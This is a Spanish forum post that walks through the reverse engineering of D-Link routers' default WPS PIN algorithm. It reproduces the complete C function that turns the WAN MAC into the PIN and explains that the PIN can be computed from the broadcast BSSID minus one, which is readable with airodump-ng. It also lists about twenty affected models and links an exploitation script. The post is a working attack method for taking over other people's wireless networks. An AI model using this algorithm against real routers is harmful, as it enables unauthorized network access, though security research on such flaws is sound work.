El libre pensamiento para un internet libre
No estas registrado.
Ayer redactaba este tema : Viaje en las entrañas de Belkin para extirpar un nuevo algoritmo PIN
Una cosa llevando a la otra, publico este hoy.
Los dos descubrimientos son obra de Craig Heffner y fueron publicado en su sitio web : devttys0.com
Este algoritmo fue publicado en octubre 2014 en este tema : Reversing D-Link’s WPS Pin Algorithm
Para encontrar el preciado algoritmo, craig heffner ha desensamblado el firmware de un PA "ac" de d-Link, Una especie de box de diseño moderno, sin antenas exteriores :
el DIR-810L wireless ac750 dual-band router
La primera pista valida que encontró craig fue en el fichero ncc situado en el directorio sbin del firmware. Se tratan de unos binarios que proporcionan funcionalidades a las cuales recuren el servidor http y Upnp (entre otros)
Y es exactamente en este trozo de código que se encuentro esta primera pista :
Call to sub_4D56F8 from getWPSPinCode
Este trozo en si no lleva la información que buscamos (elementos sobre la cadena empleada para generar el PIN )
Esto si: Tenemos a esta llamada muy "interesante" hacía "getWPSPINcode".
Con, precisamente, la funciónsub_4D56F8 que esta empleada para obtener el PIN por defecto.
De costumbre el PIN WPS de un dispositivo se programa en la "Non-volatile random-access memory".
Esto nos lleva a pensar que nuestra sub_4D56F8 mandara una petición hacía la NVRAM.
Examinando lo que ocurre nos damos cuenta que no es así:
Este código no pide un PIN, sino que recoge la dirección mac WAN del dispositivo...
Dirección mac que se divide en dos partes :
La primera mitad de la mac - OUI - que es genérica y permite identificar el fabricante
La segunda porción - el NIC - "numero de identificación" diferente en cada dispositivo
En el código que sigue podemos apreciar como se usa la parte NIC a través de operaciones bastante enredadas y liosas con el operador XOR y multiplicaciones/divisiones .
Para los amantes de la precisión aritmética encontrareis aquí el código entero con las operaciones.
En este punto las operaciones no son complejas. Lo que dificulta el entendimiento del proceso es la forma en que se desaemblan y entender la intención del autor original del codigó
A tituló de ejemplo, miremos lo que sale como un búcle en el firmware desasemblado :
li $v0, 0x38E38E39
multu $a3, $v0
...
mfhi $v0
srl $v0, 1
Se traduce en C directamente y en una solo liña así :
v0 = ((a3 * 0x38E38E39) >> 32) >> 1;
Expresión que no es nada más que una forma rebuscada de dividir por 9...
v0 = a3 / 9;
Y es así durante todo el código de nuestra función generadora del PIN.
Así que craig empezó a simplificar todo esto para legar a un código en C mucho mas comprensible :
unsigned int generate_default_pin(char *buf)
{
char *mac;
char mac_address[32] = { 0 };
unsigned int oui, nic, pin;
/* Get a pointer to the WAN MAC address */
mac = lockAndGetInfo_log()->wan_mac_address;
/*
* Create a local, NULL-terminated copy of the WAN MAC (simplified from
* the original code's sprintf/memmove loop).
*/
sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
mac[1],
mac[2],
mac[3],
mac[4],
mac[5],
mac[6],
mac[7],
mac[8],
mac[9],
mac[10],
mac[11]);
/*
* Convert the OUI and NIC portions of the MAC address to integer values.
* OUI is unused, just need the NIC.
*/
sscanf(mac_address, "%06X%06X", &oui, &nic);
/* Do some XOR munging of the NIC. */
pin = (nic ^ 0x55AA55);
pin = pin ^ (((pin & 0x0F) << 4) +
((pin & 0x0F) << 8) +
((pin & 0x0F) << 12) +
((pin & 0x0F) << 16) +
((pin & 0x0F) << 20));
/*
* The largest possible remainder for any value divided by 10,000,000
* is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
*/
pin = pin % 10000000;
/* The pin needs to be at least 7 digits long */
if(pin < 1000000)
{
/*
* The largest possible remainder for any value divided by 9 is
* 8; hence this adds at most 9,000,000 to the pin value, and at
* least 1,000,000. This guarantees that the pin will be 7 digits
* long, and also means that it won't start with a 0.
*/
pin += ((pin % 9) * 1000000) + 1000000;
}
/*
* The final 8 digit pin is the 7 digit value just computed, plus a
* checksum digit. Note that in the disassembly, the wps_pin_checksum
* function is inlined (it's just the standard WPS checksum implementation).
*/
pin = ((pin * 10) + wps_pin_checksum(pin));
sprintf(buf, "%08d", pin);
return pin;
}
Se pillan los dígitos de la mac WAN
* Create a local, NULL-terminated copy of the WAN MAC (simplified from
* the original code's sprintf/memmove loop).
*/
sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
mac[1],
mac[2],
mac[3],
mac[4],
mac[5],
mac[6],
mac[7],
mac[8],
mac[9],
mac[10],
mac[11]);
Se convierten los dígitos y se va guardando lo que corresponde a la segunda mitad de la mac WAN (porción "NIC" )
/*
* Convert the OUI and NIC portions of the MAC address to integer values.
* OUI is unused, just need the NIC.
*/
sscanf(mac_address, "%06X%06X", &oui, &nic);
Para dificultar el entendimiento de este sistema de conversión directa se añade una capa de XOR :
/* Do some XOR munging of the NIC. */
pin = (nic ^ 0x55AA55);
pin = pin ^ (((pin & 0x0F) << 4) +
((pin & 0x0F) << 8) +
((pin & 0x0F) << 12) +
((pin & 0x0F) << 16) +
((pin & 0x0F) << 20));
/*
Luego se hace un "zero-padding", es decir, rellenar de ceros hasta tener siete dígitos si el valor obtenido es inferior a 1000000.(menos de 7 digitos)
Y se elemina el digito sobrante en los casos donde el valor anteriormente obtenido es superior a 9999999 (8 digitos)
/* The pin needs to be at least 7 digits long */
if(pin < 1000000)
{
/*
* The largest possible remainder for any value divided by 9 is
* 8; hence this adds at most 9,000,000 to the pin value, and at
* least 1,000,000. This guarantees that the pin will be 7 digits
* long, and also means that it won't start with a 0.
*/
pin += ((pin % 9) * 1000000) + 1000000;
}
Y por fin generamos nuestro checksum y tenemos el PIN completo :
/*
* The final 8 digit pin is the 7 digit value just computed, plus a
* checksum digit. Note that in the disassembly, the wps_pin_checksum
* function is inlined (it's just the standard WPS checksum implementation).
*/
pin = ((pin * 10) + wps_pin_checksum(pin));
sprintf(buf, "%08d", pin);
return pin;
}
En el caso delDIR-810L la dirección WAN es el "bSSID menos uno".
Así que solo tenemos que quitar uno al bsid para genrar el PIN por defcto..
Una simple lectura de los probes en airodump-ng es suficiente para obtener el PIN...
El moderno router "ac" no es el único dispositvo dónde se usa este algoritmo y podemos encontrar huelas de su uso desde 2007, cuando empezó el WPS
la mayoría de los dispositvos usan el bSSID para generar su PIN
Personalmente he observado que los dispositivos que tienen una mac única usan esta mac (y es a la vez la mac WAN y el BSSID) y los que tienen varias mac usan la mac WAN.
Deduzco que siempre se usa la WAN y que cuando coincide con el bssid no tenemos que quitar uno al bSSID para generar el PIN
En todos casos tenemos a una lista no exhaustiva de dispositivos afectados :
DIR-810L
DIR-826L
DIR-632
DHP-1320
DIR-835
DIR-615 revs: B2, C1, E1, E3
DIR-657
DIR-827
DIR-857
DIR-451
DIR-655 revs: A3, A4, B1
DIR-825 revs: A1, B1
DIR-651
DIR-855
DIR-628
DGL-4500
DIR-601 revs: A1, B1
DIR-836L
DIR-808L
DIR-636L
DAP-1350
DAP-1555
Y un codigo libre alojado en Git Hub para explotar la brecha : pingen.py (d-link)
Desconectado
Tema | Respuestas | Vistas | Ultimo mensaje |
---|---|---|---|
|
26 | 7599 | 15-03-2023 16:57:32 por kcdtv |
Pegado: |
34 | 3711 | 12-03-2023 18:24:22 por Guybrush92 |
Pegado: |
436 | 63222 | 07-03-2023 12:35:27 por kcdtv |
0 | 389 | 23-02-2023 17:09:39 por kcdtv | |
114 | 258210 | 19-02-2023 17:36:14 por chuchof |
Ultimo usuario registrado: trdmexico
Usuarios registrados conectados: 0
Invitados conectados: 8
Número total de usuarios registrados: 2,431
Número total de temas: 1,632
Número total de mensajes: 15,528
Atom tema feed - Impulsado por FluxBB